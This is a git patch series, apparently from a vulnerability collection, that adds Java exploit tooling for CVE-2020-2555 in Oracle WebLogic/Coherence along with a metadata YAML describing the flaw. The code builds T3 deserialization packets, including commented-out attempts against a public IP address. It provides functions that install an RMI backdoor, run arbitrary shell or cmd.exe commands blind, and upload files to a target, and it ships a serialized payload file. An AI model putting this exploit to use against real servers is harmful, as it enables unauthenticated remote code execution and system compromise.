+ } + } + + dataLen.append(hexLen); + s.getOutputStream().write(BytesOperation.hexStringToBytes(dataLen + datas.toString())); + s.getOutputStream().flush(); + s.close(); + + } + +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/T3Test.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/T3Test.java new file mode 100644 index 00000000..d8efa1bc --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/T3Test.java @@ -0,0 +1,224 @@ +package com.supeream.weblogic; + +import com.supeream.Main; +import com.supeream.payload.RemoteImpl; +import com.supeream.serial.BytesOperation; +import com.supeream.serial.SerialDataGenerator; +import com.supeream.serial.Serializables; +import com.supeream.ssl.SocketFactory; +import org.apache.commons.cli.CommandLineParser; +import org.apache.commons.cli.DefaultParser; +import org.apache.commons.cli.Options; +import weblogic.apache.org.apache.velocity.runtime.Runtime; +import weblogic.cluster.singleton.ClusterMasterRemote; +import weblogic.jndi.internal.NamingNode; +import weblogic.protocol.Identity; +import weblogic.rjvm.JVMID; +import weblogic.rmi.cluster.ClusterableRemoteObject; +import weblogic.rmi.cluster.ReplicaAwareRemoteObject; +import weblogic.security.acl.internal.AuthenticatedUser; + +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.naming.NamingEnumeration; +import java.io.*; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.net.Inet4Address; +import java.net.InetAddress; +import java.net.Socket; +import java.rmi.Remote; + +/** + * Created by nike on 17/6/28. + */ +public class T3Test { + + public static void main(String[] args) throws Exception { + + +// Options options = new Options(); +// options.addOption("https",false,"xx"); +// CommandLineParser parser = new DefaultParser(); +// Main.cmdLine = parser.parse(options, args); +// +// Socket s = SocketFactory.newSocket("77.246.34.226", 443); +// //AS ABBREV_TABLE_SIZE HL remoteHeaderLength 鐢ㄦ潵鍋歴kip鐨� +// String header = "t3 7.0.0.0\nAS:10\nHL:19\n\n"; +// s.getOutputStream().write(header.getBytes()); +// s.getOutputStream().flush(); +// BufferedReader br = new BufferedReader(new InputStreamReader(s.getInputStream())); +// String versionInfo = br.readLine(); +// String asInfo = br.readLine(); +// String hlInfo = br.readLine(); +// +// System.out.println(versionInfo + "\n" + asInfo + "\n" + hlInfo); + +// +// //cmd=1,QOS=1,flags=1,responseId=4,invokableId=4,abbrevOffset=4,countLength=1,capacityLength=1 +// +// +// //t3 protocol +// String cmd = "09"; +// String qos = "65"; +// String flags = "01"; +// String responseId = "ffffffff"; +// String invokableId = "ffffffff"; +// String abbrevOffset = "00000022";//16+3=19+4+4+1=28+1+1+5348=5378-4=000014fe 30+8-4 +// +// +// String countLength = "02"; +// String capacityLength = "10";//蹇呴』澶т簬涓婇潰璁剧疆鐨凙S鍊� +// String readObjectType = "00";//00 object deserial 01 ascii +// +// StringBuilder dataS = new StringBuilder(); +// dataS.append(cmd); +// dataS.append(qos); +// dataS.append(flags); +// dataS.append(responseId); +// dataS.append(invokableId); +// dataS.append(abbrevOffset); +// +// //RemotePeriodLength +// dataS.append("00000001"); +// //PublickeySize +// dataS.append("00000001"); +// System.out.println(Integer.toHexString(115)); +// dataS.append("0001"); +// +// byte[] phase1 = Serializables.serialize(new File("/etc/passwd")); +// System.out.println("payloadlength="+(phase1.length)); +// String pahse1Str = BytesOperation.bytesToHexString(phase1); +// System.out.println("pahse1Str="+pahse1Str); +// dataS.append(pahse1Str.substring(8)); +// +// countLength = "04"; +// dataS.append(countLength); +// +// +// //define IRemote.class class by byte[] +//// byte[] phase1 = SerialDataGenerator.serialRmiDatas(new String[]{"install"}); +//// String pahse1Str = BytesOperation.bytesToHexString(phase1); +//// datas.append(capacityLength); +//// datas.append(readObjectType); +//// datas.append(pahse1Str); +// +// +// +// //for compatiable fo hide +// Class x = Class.forName("weblogic.rjvm.ClassTableEntry"); +// +// Class xxf = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); +// ObjectStreamClass objectStreamClass = ObjectStreamClass.lookup(xxf); +// Constructor f = x.getDeclaredConstructor(ObjectStreamClass.class, String.class); +// +// f.setAccessible(true); +// Object xx = f.newInstance(objectStreamClass,""); +// +// String phase41 = BytesOperation.bytesToHexString(Serializables.serialize(xx)); +// dataS.append(capacityLength); +// dataS.append(readObjectType); +// dataS.append(phase41); +// +// +// //for compatiable fo hide +// AuthenticatedUser authenticatedUser = new AuthenticatedUser("weblogic", "admin123"); +// String phase4 = BytesOperation.bytesToHexString(Serializables.serialize(authenticatedUser)); +// dataS.append(capacityLength); +// dataS.append(readObjectType); +// dataS.append(phase4); +// +// JVMID dst = new JVMID(); +// +// Constructor constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class); +// constructor.setAccessible(true); +// dst = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false); +// Field serverName = dst.getClass().getDeclaredField("differentiator"); +// serverName.setAccessible(true); +// serverName.set(dst,0); +// +// serverName = dst.getClass().getDeclaredField("transientIdentity"); +// serverName.setAccessible(true); +// serverName.set(dst,new Identity(1000l)); +// +// dataS.append(capacityLength); +// dataS.append(readObjectType); +// dataS.append(BytesOperation.bytesToHexString(Serializables.serialize(dst))); +// +// JVMID src = new JVMID(); +// +// constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class); +// constructor.setAccessible(true); +// src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false); +// serverName = src.getClass().getDeclaredField("differentiator"); +// serverName.setAccessible(true); +// serverName.set(dst,0); +// +// serverName = src.getClass().getDeclaredField("transientIdentity"); +// serverName.setAccessible(true); +// serverName.set(src,new Identity(1000l)); +// +// dataS.append(capacityLength); +// dataS.append(readObjectType); +// dataS.append(BytesOperation.bytesToHexString(Serializables.serialize(src))); +// +// +// +//// RemotePeriodLength +// int remotePeriodLength = Integer.MAX_VALUE; +// ByteArrayOutputStream bos = new ByteArrayOutputStream(); +// DataOutputStream dos = new DataOutputStream(bos); +// dos.writeInt(remotePeriodLength); +// dos.flush(); +// dos.close(); +// System.out.println(BytesOperation.bytesToHexString(bos.toByteArray())); +// +// System.out.println(dataS.toString()); +// +// byte[] headers = BytesOperation.hexStringToBytes(dataS.toString()); +// +// +// int len = headers.length + 4; +// String hexLen = Integer.toHexString(len); +// +// StringBuilder dataLen = new StringBuilder(); +// if (hexLen.length() < 8) { +// for (int i = 0; i < (8 - hexLen.length()); i++) { +// dataLen.append("0"); +// } +// } +// +// dataLen.append(hexLen); +// System.out.println("length="+dataLen); +// +// s.getOutputStream().write(BytesOperation.hexStringToBytes(dataLen + dataS.toString())); +// s.getOutputStream().flush(); +// +// System.out.println("result="+br.readLine()); +// s.close(); + + System.setProperty("weblogic.rjvm.enableprotocolswitch","true"); + System.setProperty("UseSunHttpHandler","true"); + System.setProperty("ssl.SocketFactory.provider" , "sun.security.ssl.SSLSocketFactoryImpl"); + System.setProperty("ssl.ServerSocketFactory.provider" , "sun.security.ssl.SSLSocketFactoryImpl"); + + + + Context initialContext = Main.getInitialContext("t3s://" + "127.0.0.1" + ":" + 7001); +// Context initialContext = Main.getInitialContext("t3://" + "10.211.55.5" + ":" + 7001); + +// NamingNode remote = (NamingNode) initialContext.lookup("weblogic"); +// System.out.println(remote.toString()); + +// System.out.println(initialContext.); + System.out.println(initialContext.getEnvironment()); + NamingEnumeration namingEnumeration = initialContext.list(""); + while (namingEnumeration.hasMoreElements()) { + System.out.println(namingEnumeration.next().getClass().getName()); + + } + +// weblogic.jndi.internal.WLContextImpl serverNamingNode = (weblogic.jndi.internal.WLContextImpl) initialContext.lookup("weblogic"); + + } +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/WebLogicOperation.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/WebLogicOperation.java new file mode 100644 index 00000000..215abd47 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/WebLogicOperation.java @@ -0,0 +1,47 @@ +package com.supeream.weblogic; + +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by Fernflower decompiler) +// + +import com.supeream.Main; +import com.supeream.serial.SerialDataGenerator; +import com.supeream.serial.Serializables; + +public class WebLogicOperation { + + public static void installRmi(String host, String port) throws Exception { + byte[] payload = SerialDataGenerator.serialRmiDatas(new String[]{"install"}); + T3ProtocolOperation.send(host, port, payload); + } + + public static void unInstallRmi(String host, String port) throws Exception { + byte[] payload = SerialDataGenerator.serialRmiDatas(new String[]{"uninstall"}); + T3ProtocolOperation.send(host, port, payload); + } + + public static void blind(String host, String port) throws Exception { + byte[] payload = SerialDataGenerator.serialRmiDatas(new String[]{"blind", Main.cmdLine.getOptionValue("C")}); + T3ProtocolOperation.send(host, port, payload); + } + + public static void uploadFile(String host, String port, String filePath, byte[] content) throws Exception { + byte[] payload = SerialDataGenerator.serialUploadDatas(filePath, content); + T3ProtocolOperation.send(host, port, payload); + } + + public static void blindExecute(String host, String port, String cmd) throws Exception { + String[] cmds = new String[]{cmd}; + if (Main.cmdLine.hasOption("os")) { + if (Main.cmdLine.getOptionValue("os").equalsIgnoreCase("linux")) { + cmds = new String[]{"/bin/bash", "-c", cmd}; + } else { + cmds = new String[]{"cmd.exe", "/c", cmd}; + } + } + byte[] payload = SerialDataGenerator.serialBlindDatas(cmds); + T3ProtocolOperation.send(host, port, payload); + } + +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/test.ser b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/test.ser new file mode 100644 index 0000000000000000000000000000000000000000..b6550e59e887d6035da4ff1529705237fce39c51 GIT binary patch literal 1758 zcma)6-)kII6h1qaZvX=iINg|e-BkA8+aFf z=PW2VP@E@$f*p>ACh7h$4p1vh-r;J zb@Jr>gD3RN5daiW^L;DYY$zZ-U%Yqt_?@>bC^eur@IyKlvo;kDJnT_7AbPA?K%~?J zx*X`9_5(Ub7|q^$8CA2~>qJb`s)D^PXEshp1trX`P1RdN$A*rzhK7fSQMonm#u5rj zjQAn4J#5(O+3gw+0z6;zfjsn5$hhZE`})|lCV%%0K7I4ItNq3qr2r$E(N;X@BmWJs z0{rL*Tv&SbuK@#7a24!XrTt18o&ZuyO=hT7g&^lOkL2R*{nx%C9~7a`fRglIr$z!; zD53h0Xi~cqtUaU!QRq)Dd0-n1lu}V)J3jN(sCj;OtiJf!<+ocFY-zwY)^g9F({mc-pZV7*s%@#z_3CU)#rbjSa^X>t_W0x0rNX@nzb@vU)WQHta%3YI zO$-PZc5N2zpsz(1s5J+-iF>DRrkDBngGzHMHB^a9U*Sf{K)UBnz0>9QJ&&i|)B}>v z7X^Ffe@5G!}CT)wev$**%Yi>PGzL8LYTIne&oyLI-HT^3kPO^fg|XeXv%=jx4>ZC6KU z$kXPYn_F*8J)jQ}C&((&eUw!!e*5x={qo5mr)VkY#i_^RQ2C5v(T=oDT4dHs<@%oG z8%y83axJd`1wB}kwl&-5py{X?4C0d&#rY$qZt=r;K1VmnE3D_3t?G|&Pu=}x{~Isl l{fY{TF7p&vW!wTKmjwEcCe)3hc>#~C?9gls%_jRL(La!1OgsPp literal 0 HcmV?d00001 -- Gitee From ccc5ad506d6675ca6cdd1e973ef75903ac703925 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 14:18:40 +0000 Subject: [PATCH 10/10] =?UTF-8?q?update=20=E6=BC=8F=E6=B4=9E=E6=A8=A1?= =?UTF-8?q?=E7=89=88.yaml.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 潇雨欣820 --- ...\346\264\236\346\250\241\347\211\210.yaml" | 24 +++++++++++-------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git "a/\346\274\217\346\264\236\346\250\241\347\211\210.yaml" "b/\346\274\217\346\264\236\346\250\241\347\211\210.yaml" index 1de85f71..c8143c64 100644 --- "a/\346\274\217\346\264\236\346\250\241\347\211\210.yaml" +++ "b/\346\274\217\346\264\236\346\250\241\347\211\210.yaml" @@ -1,19 +1,23 @@ -id: 漏洞编号 -source: 漏洞验证程序来源 +id: Timeline Sec +CVE-2020-2555 +source: https://github.com/wsfengfan/CVE-2020-2555 info: - name: 漏洞软件包简介 - severity: 漏洞危害 + name:Oracle Coherence为Oracle融合中间件中的产品，在WebLogic 12c及以上版本中默认集成到WebLogic安装包中，T3是用于在WebLogic服务器和其他类型的Java程序之间传输信息的协议。 + severity: 攻击者利用该漏洞可实现在目标主机上执行任意代码。使用了Oracle Coherence库的产品受此漏洞影响。 description: | - 漏洞描述 + 该漏洞允许未经身份验证的攻击者通过构造T3网络协议请求进行攻击，成功利用该漏洞可实现在目标主机上执行任意代码。使用了Oracle Coherence库的产品受此漏洞影响，在WebLogic Server 11g Release（10.3.4）及以上版本的安装包中默认集成了Oracle Coherence库。 scope-of-influence: - 漏洞影响范围 + Oracle Coherence 3.7.1.17 + Oracle Coherence 12.1.3.0.0 + Oracle Coherence 12.2.1.3.0 + Oracle Coherence 12.2.1.4.0 reference: - - 漏洞相关链接 + - https://cloud.tencent.com/developer/article/1622124 classification: - cvss-metrics: CVSS:3.1 - cvss-score: 漏洞评分 + cvss-metrics: CVSS：3.0 + cvss-score: Score 9.8 cve-id: cwe-id: cnvd-id: kve-id: - tags: 漏洞标签 \ No newline at end of file + tags: CVE-2020-2555 一月 15, 2020; 12:15:17 下午 -0500 \ No newline at end of file -- Gitee